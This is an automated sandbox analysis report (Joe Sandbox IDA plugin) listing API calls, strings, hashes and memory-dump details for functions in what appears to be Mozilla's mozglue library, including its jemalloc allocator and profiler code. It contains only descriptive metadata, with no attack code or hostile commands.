API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: a77a4636c5e8f496d2a7e7b3d54850f007eb2ebb50ed04f86416adf89aa6c806
Instruction ID: 514d5fe999441bd1159f5f7daad6de1aa1c71b464e0b6611e837ccad0285a7c9
Opcode Fuzzy Hash: a77a4636c5e8f496d2a7e7b3d54850f007eb2ebb50ed04f86416adf89aa6c806
Instruction Fuzzy Hash: 1DF24C74908780CFC735CF29C18469AFBF1BF9A304F118A5ED989A7711DB719886CB46

Function 6C5B64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C5B64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C5B64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C5B6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C5B6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5B652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C5B671C
GetCurrentProcess.KERNEL32 ref: 6C5B6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5B672F
GetCurrentProcess.KERNEL32 ref: 6C5B6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C5B6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C5B6A80
GetSystemInfo.KERNEL32(?), ref: 6C5B6ABE
__Init_thread_footer.LIBCMT ref: 6C5B6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5B6AF7

Strings

nvdxgiwrap.dll, xrefs: 6C5B6513
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C5B6798
user32.dll, xrefs: 6C5B6526
_etoured.dll, xrefs: 6C5B64ED
nvd3d9wrap.dll, xrefs: 6C5B6500
detoured.dll, xrefs: 6C5B64DA

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: ca73a7093b382ed83c723d16b3df9c4f2fe0bca1bb134f73bcd6d5722b58a9e1
Instruction ID: 3dcb60dd157ef0e3dbc2a2d1f6c18e361f17a726a44e9985278faabe34b19c1f
Opcode Fuzzy Hash: ca73a7093b382ed83c723d16b3df9c4f2fe0bca1bb134f73bcd6d5722b58a9e1
Instruction Fuzzy Hash: B2F10370901319DFDB24CF25CD98B9ABBB4EF46308F1442A9D809B3681DB31AE85CF95

Function 6C60C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C60C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C60C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C60C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C60DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C60DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C60DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C60E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C60E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C60E472

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 2c7d1c6d4816fe76778441dcd124f1e2505c097f0f07b9a79c0e974577a1b578
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 8F33CD71E0021A8FCB08CFA8C9806EDBBF2FF49314F288269D955BB755D730A945CB94

Function 6C5CED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C5CEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5CEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C5D1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5D16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C5D1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C5D1A3E

Strings

~qZl, xrefs: 6C5CED10
~qZl, xrefs: 6C5CED13

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qZl$~qZl
API String ID: 3693777188-2831360158
Opcode ID: 6969a3cee5a71fbaaebc56d22ff509a48d1ccc792ea821724c4cc7dcc0244bf7
Instruction ID: cea532c1ebe75ec635563a2b362f4b4f0176a330ab7091d48d541b744f5a5c13
Opcode Fuzzy Hash: 6969a3cee5a71fbaaebc56d22ff509a48d1ccc792ea821724c4cc7dcc0244bf7
Instruction Fuzzy Hash: E8B31871E04219CFCB14CFA8C890A9DB7B2FF89314F2582A9D459AB745D730AD86CF94

Function 6C5BFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BFF81
LeaveCriticalSection.KERNEL32(6C62E7B8), ref: 6C5C022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5C0240
EnterCriticalSection.KERNEL32(6C62E768), ref: 6C5C025B
LeaveCriticalSection.KERNEL32(6C62E768), ref: 6C5C027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C5C0D67, 6C5C0D7B, 6C5C0DAC
<jemalloc>, xrefs: 6C5C0D62, 6C5C0D76, 6C5C0DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5BFE99, 6C5BFEB7, 6C5BFED3, 6C5C0DB8, 6C5C0DD3, 6C5C19B4

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 3e16fa8d7864c07d71a9d5fe97c1b70828a7f3cda412137e557a9a1b902cc4c2
Instruction ID: bd5e4adfcc1269b3fa71f80519889a20ebebb11ddeefda2e8d7b17063dc2815e
Opcode Fuzzy Hash: 3e16fa8d7864c07d71a9d5fe97c1b70828a7f3cda412137e557a9a1b902cc4c2
Instruction Fuzzy Hash: 32C2AB71B057418FD714CF69C880716BBE1AFC5328F28CA6DE4AA8B795D775E801CB82

Function 6C5E3E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C607770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>^l,?,?,?,6C5E3E7D,?,?), ref: 6C60777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C5E3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C5E3F5C
VerSetConditionMask.NTDLL ref: 6C5E3F8D
VerSetConditionMask.NTDLL ref: 6C5E3F99
VerSetConditionMask.NTDLL ref: 6C5E3FA0
VerSetConditionMask.NTDLL ref: 6C5E3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C5E3FB4

Strings

nvinit.dll, xrefs: 6C5E4479
C>^l, xrefs: 6C5E3E93
nvd3d9wrap.dll, xrefs: 6C5E4466

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>^l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-824577501
Opcode ID: 95ebb9ac353a88cf6e96b721d1307f9bebc059f1070ab2c6694063e86a18f340
Instruction ID: 830f487e22a20854b4bdcf881081af94df7f89769472e088442cdca2fcdb7ae2
Opcode Fuzzy Hash: 95ebb9ac353a88cf6e96b721d1307f9bebc059f1070ab2c6694063e86a18f340
Instruction Fuzzy Hash: BF522271614B488FD711DF74CCD0AAB7BE9AF84208F44492DD5A29BB82DB74F909CB60

Function 6C5BFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BFF81
LeaveCriticalSection.KERNEL32(6C62E7B8), ref: 6C5C022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5C0240
EnterCriticalSection.KERNEL32(6C62E768), ref: 6C5C025B
LeaveCriticalSection.KERNEL32(6C62E768), ref: 6C5C027B

Strings

MOZ_CRASH(), xrefs: 6C5C0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5BFE99, 6C5BFEB7, 6C5BFED3, 6C5C0DB8, 6C5C0DD3, 6C5C19B4, 6C5C1A10

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: db724cea44ad0edde6daec61943cf64cf0c1b144844c3e96c852a5751d8fe328
Instruction ID: b7722316f7f8b11ac73ac9901a6f709d107469c9796cf0c6c0e83585abe21524
Opcode Fuzzy Hash: db724cea44ad0edde6daec61943cf64cf0c1b144844c3e96c852a5751d8fe328
Instruction Fuzzy Hash: 56B2BC717057418FD714CF69C990716BBE1BF85328F28CA6DE86A8B795C774E840CB82

Function 6C5F5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

data, xrefs: 6C5F6131
ProfileBuffer parse error: %s, xrefs: 6C5F5AC8, 6C5F5CBB
expected a Count entry, xrefs: 6C5F5AC3
schema, xrefs: 6C5F606D
name, xrefs: 6C5F5E79, 6C5F5E8F
expected a Time entry, xrefs: 6C5F5CB6

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: bebfe88e693bff66a8ed05683d053d4dd6be823f51c6927c82a8019a4f190da4
Instruction ID: 1537a568d05ee02c999aa3b86a9febbb8827f14098fd70b351eb7e192b891d6f
Opcode Fuzzy Hash: bebfe88e693bff66a8ed05683d053d4dd6be823f51c6927c82a8019a4f190da4
Instruction Fuzzy Hash: 90923C716083418FD728CF18C89075ABBE1BFC5308F55891DE5AA9B751DB30E94ACF92

Function 6C5F2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C5F2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C5F2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C5F378D
get , xrefs: 6C5F3205
set , xrefs: 6C5F36EC

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: a103138ac29b8f29655c7509789b3c3037d6f134c8fe433de5e3c338fd85ae12
Instruction ID: 1dd297eb1b2b79828b1d152e5bb2653aefe833080a7bc1f2fb80730835ded342
Opcode Fuzzy Hash: a103138ac29b8f29655c7509789b3c3037d6f134c8fe433de5e3c338fd85ae12
Instruction Fuzzy Hash: 62324EB02083818FD769CF24C8906AEB7E2AFC9218F548C1DE5A987751DB30D94ACF57

Function 6C5E7E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

data, xrefs: 6C5E8280, 6C5E83E1
(pre-xul), xrefs: 6C5E7E88
vbl, xrefs: 6C5E8207
schema, xrefs: 6C5E81E3, 6C5E8311
name, xrefs: 6C5E7ECF, 6C5E8335

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vbl
API String ID: 3412268980-3299618421
Opcode ID: 50d0b56aba3fc2e26aab11ac4f7d6543053b5b6871bed52e6459001306bb12f5
Instruction ID: a1b437141be5dac922db1edcd1149e5d75ca01fef05616cee452cba8cc63c2c9
Opcode Fuzzy Hash: 50d0b56aba3fc2e26aab11ac4f7d6543053b5b6871bed52e6459001306bb12f5
Instruction Fuzzy Hash: 4FE19FB1A043408FC710CF69885165BFBE9BFD9314F14492DE899E7B80DBB5DC098B92

Function 6C5C5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2
memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C5C7652

Strings

MOZ_CRASH(), xrefs: 6C5C7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5C72F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C7BCD, 6C5C7C1F, 6C5C7C34, 6C5C80FD
ew`l, xrefs: 6C5C5E9C, 6C5C5F22, 6C5C61ED
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5C730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5C72E3

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ew`l
API String ID: 2613674957-3284534115
Opcode ID: 0eb2f5d1eac8144c8dc0a26fb7c9cc57f2e1d263fa4e5e476b23e3c9fa4fe581
Instruction ID: 93e0d18dc5b735f1175636cdc2c193fcc3228e1f689290c03a4c01b83a1b6579
Opcode Fuzzy Hash: 0eb2f5d1eac8144c8dc0a26fb7c9cc57f2e1d263fa4e5e476b23e3c9fa4fe581
Instruction Fuzzy Hash: F2337D717057018FC304CF69C990625BBE2FF85368F29C6ADE9698BBA5D731E841CB42

Function 6C5CD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5DD1C5), ref: 6C5CD4F2
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5DD1C5), ref: 6C5CD50B

Part of subcall function 6C5ACFE0: EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
Part of subcall function 6C5ACFE0: LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5DD1C5), ref: 6C5CD52E
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CD6A6
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD712
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5DD1C5), ref: 6C5CD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CD7EA

Strings

<jemalloc>, xrefs: 6C5CD827
: (malloc) Error initializing arena, xrefs: 6C5CD82C

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: d29315c21f819302edc94ff9605a0aa35722c51b6b87dbc11c76b2282769ebf9
Instruction ID: b70a81f91e4c0ef53031cb780c280b10301117b476674437399d1e57aa31c196
Opcode Fuzzy Hash: d29315c21f819302edc94ff9605a0aa35722c51b6b87dbc11c76b2282769ebf9
Instruction Fuzzy Hash: BF91DE71B447018FD714CFB9C89076AB7E1EB89314F15893EE49AC7A81D738E845CB86

Function 6C604EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C604EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604F2E
moz_xmalloc.MOZGLUE ref: 6C604F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C604F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6052B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6052E6
Sleep.KERNEL32(00000010), ref: 6C605481
free.MOZGLUE(?), ref: 6C605498

Strings

(, xrefs: 6C605250

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 5c593d2faf7809f03efcff2bf2579bf411bce8eae0de8c22617e9788faa5ceca
Instruction ID: 39158aa9930defee7f6f2410cd12d6e3ea26330b2d5a9aa2321b8e55e89a3b3c
Opcode Fuzzy Hash: 5c593d2faf7809f03efcff2bf2579bf411bce8eae0de8c22617e9788faa5ceca
Instruction Fuzzy Hash: A0F1C471A18B508FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C5C9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5C9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C5C9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5C9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C5CA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5CA8B1, 6C5CA8D4, 6C5CA8EF

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: ae4ca745ea65f1ba15a3a0a723ee8c080cdc3be4442e1b30eabcab41ef43afa3
Instruction ID: 1fa50fc0e4c5f8589d2fcea6b4355c3d6b18af737ba4e5161772e2fe09930924
Opcode Fuzzy Hash: ae4ca745ea65f1ba15a3a0a723ee8c080cdc3be4442e1b30eabcab41ef43afa3
Instruction Fuzzy Hash: 39727A72A056118FD704CF68C980215FFE1BF89328F29C76DE8699B791D375E842CB82

Function 6C5F2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5F2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5F2C61

Part of subcall function 6C5A4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
Part of subcall function 6C5A4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5F2E2D

Part of subcall function 6C5B81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5B81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C5F2E3B
(root), xrefs: 6C5F354F
expected a Time entry, xrefs: 6C5F2E36

Memory Dump Source

